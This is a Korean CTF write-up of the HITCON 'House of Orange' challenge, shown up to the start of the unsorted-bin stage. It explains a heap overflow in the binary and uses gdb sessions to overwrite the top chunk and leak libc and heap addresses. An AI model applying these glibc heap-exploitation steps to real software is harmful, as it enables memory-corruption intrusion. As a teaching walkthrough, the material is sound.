House of Orange[KR]

List

Information

Description

My teammate, Orange, need a house. Can you build it ?
nc 52.68.192.99 56746

hourseoforange
libc.so.6

Related file

File list
houseoforange_22785bece84189e632567da38e4be0e0c4bb1682 libc.so.6_375198810bb39e6593a968fcbcf6556789026743

Source Code

Source code

Write up

File information

File information

```
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ file ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682: ELF 64-bit LSB  shared object, x86-64, version 1
(SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]
=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped

autolycos@ubuntu:~/CTF/HITCON/houseoforange$ checksec.sh --file .
/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   .
/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
autolycos@ubuntu:~/CTF/HITCON/houseoforange$
```

Binary analysis

- 해당 문제를 실행하면 다음과 같은 메뉴를 출력합니다.

hourseoforange

```
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice :
```

- "Build the house"는 다음과 같이 사용자로 부터 값을 입력 받습니다.

Build the house

```
Your choice : 1
Length of name :10
Name :AAAAAAAAAA
Price of Orange:++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
```

- "See the house"는 사용자가 입력한 내용을 출력합니다.

See the house

```
Your choice : 2
Name of house : AAAAAAAAAA
Price of orange : 0
        __
        \/.--,
        //_.'
   .-""-/""----..
  / . . . . . . . \
 / . . . . . . . . \
 |.  . ..  |
 \ . $$. . . $$. ..|
 \. . . . . . . . ./
  \ . . . O . . . /
   '-.__.__.__._-'
```

- "Upgrade the house"는 사용자가 입력한 값을 다음과 같이 수정할 수 있게 합니다.

Upgrade the house

```
Your choice : 3
Length of name :20
Name:BBBBBBBBBBBBBBBBBBBB
Price of Orange: ++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange: 2
Finish
```

Main

- **해당 함수는 다음과 같은 기능을 합니다.**
    - PrintMenu() 함수를 호출해 Menu를 출력합니다.
    - UserInput()함수를 이용해 사용자로부터 값을 입력받습니다.
    - 입력받은 값은 menuNumber 변수에 저장되며, if()를 이용해 정의된 함수를 호출합니다.

main()

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int menuNumber; // eax@2

  setSIGALE();
  while ( 1 )
  {
    while ( 1 )
    {
      PrintMenu();
      menuNumber = UserInput();
      if ( menuNumber != 2 )
        break;
      SeeTheHouse();
    }
    if ( menuNumber > 2 )
    {
      if ( menuNumber == 3 )
      {
        UpgradeTheHouse();
      }
      else
      {
        if ( menuNumber == 4 )
        {
          puts("give up");
          exit(0);
        }
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( menuNumber != 1 )
        goto LABEL_14;
      BuildTheHouse();
    }
  }
}
```

BuildTheHouse() - 0x5640720E0D37

- **해당 함수는 다음과 같은 기능을 합니다.**
  - 전역 변수 gHouseCount의 값이 3보다 큰 값인지 확인합니다.
    - 해당 변수를 이용해 해당 함수를 4번만 사용 가능하도록 합니다.
  - HOUSE 구조체의 Heap 공간을 할당합니다.
  - 사용자로 부터 입력할 이름의 길이를 입력받습니다.
    - 입력받은 값이 4096보다 클 경우 size변수에 4096을 저장합니다.
    - 최대 4096 크기의 Heap을 houseData→name 할당합니다.
    - 사용자로 부터 입력 받은 "Name" 값을 houseData→name에 저장합니다.
  - 사용자로 부터 "Name", "Price of Orange", "Color of Orange" 값을 입력받습니다.
  - 전역 변수 gHouseCount의 값을 증가 시킵니다.

BuildTheHouse() - 0x5640720E0D37

```
int BuildTheHouse()
{
  unsigned int size; // [rsp+8h] [rbp-18h]@4
  signed int colorNumber; // [rsp+Ch] [rbp-14h]@9
  HOUSE *houseData; // [rsp+10h] [rbp-10h]@4
  INFO *info; // [rsp+18h] [rbp-8h]@9

  if ( gHouseCount > 3u )
  {
    puts("Too many house");
    exit(1);
  }

  houseData = (house *)malloc(0x10uLL);
  printf("Length of name :");
  size = UserInput();

  if ( size > 4096 )
    size = 4096;

  houseData->name = (char *)malloc(size);
  if ( !houseData->name )
  {
    puts("Malloc error !!!");
    exit(1);
  }

  printf("Name :");
  NameInput(houseData->name, size);
  info = (Info *)calloc(1uLL, 8uLL);

  printf("Price of Orange:", 8LL);
  info->price = UserInput();
  colorPrint();

  printf("Color of Orange:");
  colorNumber = UserInput();
  if ( colorNumber != 56746 && (colorNumber <= 0 || colorNumber > 7) )
  {
    puts("No such color");
    exit(1);
  }

  if ( colorNumber == 56746 )
    info->color = 56746;
  else
    info->color = colorNumber + 30;

  houseData->house = info;
  gHouseDate = houseData;
  ++gHouseCount;
  return puts("Finish");
}
```

- 여기에서 해당 프로그램이 사용하는 2가지의 Struct를 확인할 수 있습니다.

struct house

```
struct HOUSE
{
  struct Info *house;
  char *name;
};
```

struct info

```
struct INFO
{
  int price ;
  int color ;
};
```

SeeTheHouse() - 0x5640720E0EE6

- **해당 함수는 다음과 같은 기능을 합니다.**
  - "gHouseDate->house->color"의 값을 확인합니다.
    - "56746"과 같다면 orange 색의 orange가 출력됩니다.
    - "56746"과 같지 않지만, 30~37 범위 안에 속한다면 해당 값에 맞는 컬러의 orange가 출력됩니다.
    - "56746"과 같지 않고, 30~37 범위에도 포함되지 않으며, 해당 프로그램은 종료됩니다.
  - Orange 모양이 출력될 때 name, price 값도 같이 출력됩니다.
  - Orange 모양을 출력할 때 rand()함수를 이용해 다른 형태의 Orange가 출력됩니다.

SeeTheHouse() - 0x5640720E0EE6

```
int SeeTheHouse()
{
  int v0; // eax@3
  int result; // eax@3
  int v2; // eax@8

  if ( !gHouseDate )
    return puts("No such house !");
  if ( gHouseDate->house->color == 56746 )
  {
    printf("Name of house : %s\n", gHouseDate->name);
    printf("Price of orange : %d\n", gHouseDate->house->price);
    v0 = rand();
    result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", gOrangeImageArr[v0 % 8]);
  }
  else
  {
    if ( gHouseDate->house->color <= 30 || gHouseDate->house->color > 37 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", gHouseDate->name);
    printf("Price of orange : %d\n", gHouseDate->house->price);
    v2 = rand();
    result = printf("\x1B[%dm%s\x1B[0m\n", (unsigned int)gHouseDate->house->color, gOrangeImageArr[v2 % 8]);
  }
  return result;
}
```

UpgradeTheHouse() - 0x05640720E107C

- **해당 함수는 다음과 같은 기능을 합니다.**
  - 전역 변수 gUpgradeCount의 값이 2보다 큰지 확인합니다.
    - 해당 변수를 이용해 해당 함수를 3번만 사용 가능하도록 합니다.
  - 전역 변수 gHouseDate에 데이터가 있으면 사용자로 부터 값을 입력 받습니다.
  - 사용자로 부터 "name"의 길이 값을 입력받습니다.
    - 해당 값이 4096보다 클 경우 size 값을 4096으로 설정합니다.
  - NameInput()함수를 이용해 "gHouseDate→name" 변수에 저장된 값을 변경합니다.
    - gHouseDate→name에 저장 가능한 문자열의 길이에 대한 제한이 없습니다.
    - 여기에서 Heap Overflow가 발생합니다.
  - 사용자로 부터 Price, Color 값을 입력 받습니다.
  - gUpgradeCount 변수의 값을 증가 시킵니다.

UpgradeTheHouse() - 0x05640720E107C

```
int UpgradeTheHouse()
{
  Info *info; // rbx@7
  unsigned int size; // [rsp+8h] [rbp-18h]@5
  signed int colorNumber; // [rsp+Ch] [rbp-14h]@7

  if ( gUpgradeCount > 2u )
    return puts("You can't upgrade more");
  if ( !gHouseDate )
    return puts("No such house !");

  printf("Length of name :");
  size = UserInput();
  if ( size > 4096 )
    size = 4096;

  printf("Name:");
  NameInput(gHouseDate->name, size);

  printf("Price of Orange: ", size);
  info = gHouseDate->house;
  info->price = UserInput();
  colorPrint();

  printf("Color of Orange: ");
  colorNumber = UserInput();

  if ( colorNumber != 56746 && (colorNumber <= 0 || colorNumber > 7) )
  {
    puts("No such color");
    exit(1);
  }

  if ( colorNumber == 56746 )
    gHouseDate->house->color = 56746;
  else
    gHouseDate->house->color = colorNumber + 30;
  ++gUpgradeCount;
  return puts("Finish");
}
```

Debuging

Heap Overflow

- **Heap Overflow를 확인하기 위해 다음과 같이 Break pointf를 설정합니다.**
  - 0x555555554daa : BuildTheHouse() 함수에서 "Name" 값을 저장할 Heap을 할당 후
  - 0x555555554dfe : BuildTheHouse() 함수에서 NameInput() 함수 호출 후
  - 0x555555554e0d : BuildTheHouse() 함수에서 calloc() 함수 호출 후
  - 0x555555555119 : UpgradeTheHouse()함수에서 NameInput() 함수 호출 전
  - 0x55555555511e : UpgradeTheHouse()함수에서 NameInput() 함수 호출 후

Break point

```
autolycos@ubuntu:~/CTF/HITCON/houseoforange$ gdb -q ./houseo*
Reading symbols from ./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682...(no debugging symbols found)...
done.
gdb-peda$ b *0x555555554daa
Breakpoint 1 at 0x555555554daa
gdb-peda$ b *0x555555554dfe
Breakpoint 2 at 0x555555554dfe
gdb-peda$ b *0x555555554e0d
Breakpoint 3 at 0x555555554e0d
gdb-peda$ b *0x555555555119
Breakpoint 4 at 0x555555555119
gdb-peda$ b *0x55555555511e
Breakpoint 4 at 0x55555555511e
gdb-peda$
```

- "Build the house" 기능을 호출합니다.
  - Name의 길이로 10을 입력했으며, malloc()에 의해 할당 메모리영역은 0x555555758030 입니다.
  - calloc() 함수를 이용해 Price, Color 값을 저장할 Heap 공간을 할당 받습니다.
    - 0x20byte의 Heap공간이 할당되어 있습니다.

Build the house

```
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/autolycos/CTF/HITCON/houseoforange
/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :10

Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x555555758030        0x555555758030
gdb-peda$ x/8gx 0x555555758030
0x555555758030:        0x0000000000000000        0x0000000000000000
0x555555758040:        0x0000000000000000        0x0000000000020fc1
0x555555758050:        0x0000000000000000        0x0000000000000000
0x555555758060:        0x0000000000000000        0x0000000000000000
gdb-peda$ c
Continuing.
Name :AAAAAAAAA
Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:        0x4141414141414141        0x0000000000000a41
0x555555758040:        0x0000000000000000        0x0000000000020fc1
0x555555758050:        0x0000000000000000        0x0000000000000000
0x555555758060:        0x0000000000000000        0x0000000000000000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:        0x4141414141414141        0x0000000000000a41
0x555555758040:        0x0000000000000000        0x0000000000000021
0x555555758050:        0x0000000000000000        0x0000000000000000
0x555555758060:        0x0000000000000000        0x0000000000020fa1
gdb-peda$ c
```

- **"Upgrade the house"기능을 이용해 Heap Overflow를 발생시켜 보겠습니다.**
  - "Length of name"의 값으로 60을 입력합니다.
  - "Name"의 값으로 'B' * 50개, 'C' * 8개를 입력합니다.
    - 0x555555758030 ~ 0x55555575806C 영역에 입력한 문자열이 저장되어 있습니다.
    - 0x555555758050 영역에는 price,color 값이 저장됩니다.
- **해당 취약성을 이용해 다음과 같은 공격이 가능합니다.**
  - 해당 Heap Overflow를 이용해 Libc address,Heap address 추출이 가능합니다.
  - Top chunk의 값을 변경해 "Unsort bin attack" 공격도 가능합니다.

Upgrade the house

```
gdb-peda$ c
Continuing.
Price of Orange:100
++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :60
Name:

Breakpoint 4, 0x0000555555555119 in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:        0x4141414141414141        0x0000000000000a41
0x555555758040:        0x0000000000000000        0x0000000000000021
0x555555758050:        0x0000001f00000064        0x0000000000000000
0x555555758060:        0x0000000000000000        0x0000000000020fa1
gdb-peda$ ni
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCC
Breakpoint 5, 0x000055555555511e in ?? ()
gdb-peda$ x/8gx 0x555555758030
0x555555758030:        0x4242424242424242        0x4242424242424242
0x555555758040:        0x4242424242424242        0x4242424242424242
0x555555758050:        0x4242424242424242        0x4242424242424242
0x555555758060:        0x4343434343424242        0x000000000a434343
gdb-peda$
```

Structure of Exploit code

- Payload의 순서는 다음과 같습니다.

Payload Flow

1. Libc, Heap address Leak
2. Unsorted bin attack

- 이를 조금더 자세하게 설명하면 다음과 같습니다.

Detailed description

1. Libc, Heap address Leak
    a. Heap overflow를 이용해 large chunk를 생성
2. Unsorted bin attack

- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.

List of information to check

1. Leaklibcaddress

Information for attack

Leak - Overwrite of top chunk

- **"Upgrade the house" 기능에서 발생하는 Heap overflow를 이용해 Top chunk를 변조할 수 있습니다.**
    - Top chunk의 크기를 작게 많들어서 새로운 메모리 영역을 할당하도록 합니다.
    - malloc()은Top chunk 크기가 충분하지 않으면 sysmalloc()을 사용하여 새 메모리 영역을 할당합니다.
- **sysmalloc()은 새로운 영역을 할당하기 위해서는 Top chunk의 값을 확인합니다.**
    - Top chunk 변조를 통해 새로운 메모리 영역을 할당받기 위해 다음과 같은 조건을 만족시켜야 합니다.
        1. MINSIZE (0x10)보다 커야 합니다. (unsigned long) (old_size) >= MINSIZE
        2. need size + MINSIZE 보다 작아야 합니다. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE))
        3. prev_inuse가 설정되어 있어야 합니다. prev_inuse (old_top)
        4. old_top +oldsize 페이지를 정렬해야합니다.

malloc.c -> sysmalloc() [ver. glibc 2.23]

```
 /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end &
(pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
```

- **다음과 같이 Break point를 설정합니다.**
    - 0x555555554daa : BuildTheHouse() 함수에서 "Name" 값을 저장할 Heap을 할당 후
    - 0x555555554dfe : BuildTheHouse() 함수에서 NameInput() 함수 호출 후
    - 0x555555554e0d : BuildTheHouse() 함수에서 calloc() 함수 호출 후
    - 0x55555555511e : UpgradeTheHouse()함수에서 NameInput() 함수 호출 후

Break points

```
gdb-peda$ b *0x555555554000 + 0xDAA
Breakpoint 1 at 0x555555554daa
gdb-peda$ b *0x555555554000 + 0xDFE
Breakpoint 2 at 0x555555554dfe
gdb-peda$ b *0x555555554000 + 0xE0D
Breakpoint 3 at 0x555555554e0d
gdb-peda$ b *0x555555554000 + 0x111E
Breakpoint 4 at 0x55555555511e
gdb-peda$
```

- **"BuildTheHouse" 기능을 이용해 Heap 영역을 할당합니다.**
    - 할당할 Heap의 크기는 16입니다.

Create heap

```
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :16
Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x555555758030        0x555555758030
gdb-peda$ x/16gx 0x555555758030
0x555555758030:        0x0000000000000000        0x0000000000000000
0x555555758040:        0x0000000000000000        0x00000000000020fc1
0x555555758050:        0x0000000000000000        0x0000000000000000
0x555555758060:        0x0000000000000000        0x0000000000000000
0x555555758070:        0x0000000000000000        0x0000000000000000
0x555555758080:        0x0000000000000000        0x0000000000000000
0x555555758090:        0x0000000000000000        0x0000000000000000
0x5555557580a0:        0x0000000000000000        0x0000000000000000
gdb-peda$ c
Continuing.

Program received signal SIGALRM, Alarm clock.
Name :AAAAAAAAAAAABB
Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ x/16gx 0x555555758030
0x555555758030:        0x4141414141414141        0x000a424241414141
0x555555758040:        0x0000000000000000        0x00000000000020fc1
0x555555758050:        0x0000000000000000        0x0000000000000000
0x555555758060:        0x0000000000000000        0x0000000000000000
0x555555758070:        0x0000000000000000        0x0000000000000000
0x555555758080:        0x0000000000000000        0x0000000000000000
0x555555758090:        0x0000000000000000        0x0000000000000000
0x5555557580a0:        0x0000000000000000        0x0000000000000000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ x/16gx 0x555555758030
0x555555758030:        0x4141414141414141        0x000a424241414141
0x555555758040:        0x0000000000000000        0x0000000000000021
0x555555758050:        0x0000000000000000        0x0000000000000000
0x555555758060:        0x0000000000000000        0x00000000000020fa1
0x555555758070:        0x0000000000000000        0x0000000000000000
0x555555758080:        0x0000000000000000        0x0000000000000000
0x555555758090:        0x0000000000000000        0x0000000000000000
0x5555557580a0:        0x0000000000000000        0x0000000000000000
gdb-peda$
```

- **"UpgradeTheHouse" 기능을 이용해 Top chunk를 변경 할 수 있습니다.**
  - Top chunk의 값을 0xfa1(3889)으로 변경합니다.
    - 변경 전 Top chunk의 값은 0x20fa1 입니다.
  - 변경된 Top chunk의 크기로 인해 해당 크기보다 큰 크기의 heap을 할당을 요청하면, malloc는 sysmalloc()을 사용해 새로운 메모리 영역을 할당하게 됩니다.
    - 이로 인해 기존의 Top chunk영역은 Free chunk로 Unsorted bin에 추가됩니다.
    - Free chunk의 fd, bk영역의 값도 생성됩니다.

Overwrite for Top chunk

```
gdb-peda$ c
Continuing.
Price of Orange:100
++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :70
Name:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB

Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/16gx 0x555555758030
0x555555758030:        0x4141414141414141        0x4141414141414141
0x555555758040:        0x4141414141414141        0x4141414141414141
0x555555758050:        0x4141414141414141        0x4141414141414141
0x555555758060:        0x4141414141414141        0x0a42424241414141
0x555555758070:        0x0000000000000000        0x0000000000000000
0x555555758080:        0x0000000000000000        0x0000000000000000
0x555555758090:        0x0000000000000000        0x0000000000000000
0x5555557580a0:        0x0000000000000000        0x0000000000000000
gdb-peda$ set *0x555555758068 = 0xfa1
gdb-peda$ set *0x55555575806c = 0x0
gdb-peda$ x/16gx 0x555555758030
0x555555758030:        0x4141414141414141        0x4141414141414141
0x555555758040:        0x4141414141414141        0x4141414141414141
0x555555758050:        0x4141414141414141        0x4141414141414141
0x555555758060:        0x4141414141414141        0x0000000000000fa1
0x555555758070:        0x0000000000000000        0x0000000000000000
0x555555758080:        0x0000000000000000        0x0000000000000000
0x555555758090:        0x0000000000000000        0x0000000000000000
0x5555557580a0:        0x0000000000000000        0x0000000000000000
gdb-peda$
```

- **"BuildTheHouse" 기능을 이용해 Top chunk 보다 큰 크기의 Heap을 할당합니다.**
  - Top chunk의 크기 보다 큰 4096 크기의 Heap 할당을 요청합니다.
  - sysmalloc()에 의해 새로 할당된 Heap 영역은 0x55f72a511010 입니다.
  - 앞에서 설명했듯이 Top chunk가 Free chunk가 되었으며, fd(Forward pointer), bk(Backward pointer)의 값도 생성되었습니다.
    - 공격자를 해당 fd, bk 영역에 저장된 데이터를 악용할 수 있습니다.
      - fd,bk 주소(0x7f68e8d2c7b8)에 저장된 값은 0x55f72a512010 입니다.
      - 0x55f72a512010 = 할당된 heap의 시작 주소(0x55f72a511010) + heap size(0x1000, 4096)

Create unsorted bin

```
gdb-peda$ c
Continuing.
Price of Orange: 200
++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange: 2
Finish
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :4096
Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x555555779010        0x555555779010
gdb-peda$ x/16gx 0x555555758030
0x555555758030:        0x4141414141414141        0x4141414141414141
0x555555758040:        0x4141414141414141        0x4141414141414141
0x555555758050:        0x00000020000000c8        0x4141414141414141
0x555555758060:        0x4141414141414141        0x0000000000000021
0x555555758070:        0x000000000000000a        0x0000000000000000
0x555555758080:        0x0000000000000000        0x0000000000000f61
0x555555758090:        0x00007ffff7dd1b78        0x00007ffff7dd1b78
0x5555557580a0:        0x0000000000000000        0x0000000000000000
gdb-peda$
```

Leak - Libc address

- **"BuildTheHouse" 기능을 이용해 Libc address를 추출할 수 있습니다.**
  - 새로 할당할 Heap의 크기로 1024를 입력합니다.
  - 이로 인해 기존 Heap영역 내에서 해당 영역(0x5555557580d0)이 할당됩니다.
    - sysmalloc()으로 인해 추가 생성된 Heap영역이 아닙니다.
  - "0x5555557580d0", "0x5555557580d8"영역에 main_arena 영역의 주소가 저장되어 있습니다.
  - "Name"의 입력 값으로 문자 8개를 입력하면 해당 주소 값을 출력할 수있습니다.

Write 8 characters in the Heap

```
gdb-peda$ c
Continuing.
Name :HEAP

Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ c
Continuing.
Price of Orange:300
++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange:3
Finish
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :1024
Breakpoint 1, 0x0000555555554daa in ?? ()
gdb-peda$ i r rax
rax            0x5555557580d0        0x5555557580d0

gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0:        0x00007ffff7dd2188        0x00007ffff7dd2188
0x5555557580e0:        0x00005555557580c0        0x00005555557580c0
0x5555557580f0:        0x0000000000000000        0x0000000000000000
0x555555758100:        0x0000000000000000        0x0000000000000000
0x555555758110:        0x0000000000000000        0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd2188
0x7ffff7dd2188 <main_arena+1640>:        0x00007ffff7dd2178
gdb-peda$
```

- **"Name"으로 문자 8개를 입력합니다.**
  - 아래 예제에서는 "LEAKADD"을 입력했습니다.
    - 메모리에 "0x0a4444414b41454c" 이 저장되었습니다.
  - "0x5555557580d8" 영역 값과 입력한 문자열을 하나의 문장으로 인식하게 됩니다.
- **"See the house"기능을 통해 "0x5555557580d8" 영역의 값을 출력할 수 있습니다.**
  - `Leak data : ?!???`

Leak libc address

```
gdb-peda$ c
Continuing.
Name :LEAKADD

Breakpoint 2, 0x0000555555554dfe in ?? ()
gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0:        0x0a4444414b41454c        0x00007ffff7dd2188
0x5555557580e0:        0x00005555557580c0        0x00005555557580c0
0x5555557580f0:        0x0000000000000000        0x0000000000000000
0x555555758100:        0x0000000000000000        0x0000000000000000
0x555555758110:        0x0000000000000000        0x0000000000000000
gdb-peda$ c
Continuing
Breakpoint 3, 0x0000555555554e0d in ?? ()
gdb-peda$ c
Continuing.
Price of Orange:400
++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange:4
Finish
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : LEAKADD
?!???
Price of orange : 400
        __
       \/.--,
       //_.'
   .-""-/""----..
  / . . . . . . . \
 / . . \ . . / . . \
 |. ____\ . /____. |
 \ . . . . . . . . |
 \. . . . . . . . ./
  \ . . .  . . ./
   '-.__.__.__._-'


++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice :
```

Leak - Heap address

- 다음과 같이 "Upgrade the house" 기능을 이용해 Heap address를 누출 할 수 있습니다.

    - "0x5555557580d0"으로 부터 16 byte 떨어진곳에 Heap의 주소가 존재합니다.
    - 이를 Leak하기 위해 "Name"의 값으로 문자 15를 입력합니다.
- **"See the house"기능을 통해 heap address 를 출력할 수 있습니다.**
    - Leak data : ??uUUU

Leak for Heap address

```
Name of house : LEAKADD
?!???
Price of orange : 400
        __
        \/.--,
        //_.'
   .-""-/""----..
  / . . . . . . . \
 / . . \ . . / . . \
 |. ____\ . /____. |
 \ . . . . . . . . |
 \. . . . . . . . ./
  \ . . .  . . ./
   '-.__.__.__._-'


++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :1024
Name:BBBBBBBBBBBBBBB


Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/10gx 0x5555557580d0
0x5555557580d0:        0x4242424242424242        0x0a42424242424242
0x5555557580e0:        0x00005555557580c0        0x00005555557580c0
0x5555557580f0:        0x0000000000000000        0x0000000000000000
0x555555758100:        0x0000000000000000        0x0000000000000000
0x555555758110:        0x0000000000000000        0x0000000000000000
gdb-peda$ c
Continuing.
Price of Orange: 500
++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
++++++++++++++++++++++++++++++++++++
Color of Orange: 5
Finish
++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : BBBBBBBBBBBBBBB
??uUUU
Price of orange : 500
        __
        \/.--,
```

```
        //_.'
   .-""-/""----..
  / . . . . . . . \
 / . . . . . . . . . \
 |.  . ..  |
 \ . $$. . . $$. ..|
 \. . . . . . . . ./
  \ . . . O . . . /
   '-.__.__.__._-'


++++++++++++++++++++++++++++++++++++
@          House of Orange          @
++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
++++++++++++++++++++++++++++++++++++
Your choice :
```

HouseOfOrange

- **다음과 같은 방법으로 Unsorted bin attack을 이용해 HouseOfOrange 공격이 가능합니다.**
    - 분석을 위해 "0x555555555119"영역에 Break point를 설정합니다.
    - "Length of name" 의 입력 값으로 "2048"를 전달합니다.
- **중요한 부분은 현재 main_arena의 Unsorted bin에 저장된 영역입니다.**
    - Unsorted bin영역에 저장된 영역은 0x5555557584f0 입니다.
    - 즉, 덮어써야 할 영역은 0x5555557584f0이 됩니다.
    - NamaInput() 함수에 의해 입력받은 값은 "0x5555557580d0"영역 부터 저장됩니다.
        - 0x5555557584f0 영역을 덮어쓰기 위해서 임이의 문자 1056개의 입력이 필요합니다.
        - Ex) "A" * 1056 + "B" * 32
    - 아래와 같이 입력값에 의해 Unsorted chunk영역의 값이 변경되었습니다.

Check Unsorted bin

```
Your choice : 2
Name of house : BBBBBBBBBBBBBBB
??uUUU
Price of orange : 500
        __
        \/.--,
        //_.'
   .---//------..
  / . . . . . . . \
 / . ./\. . ./\ .. \
 |. ./  \. ./  \ . |
 \ . . . . . . . . ..|
 \. . . . . . . . . ./
  \ . . \___/. . ./
   '-.__.__.__._-'


+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : ^C
Program received signal SIGINT, Interrupt.
gdb-peda$ b *0x555555554000 + 0x1119
Breakpoint 5 at 0x555555555119
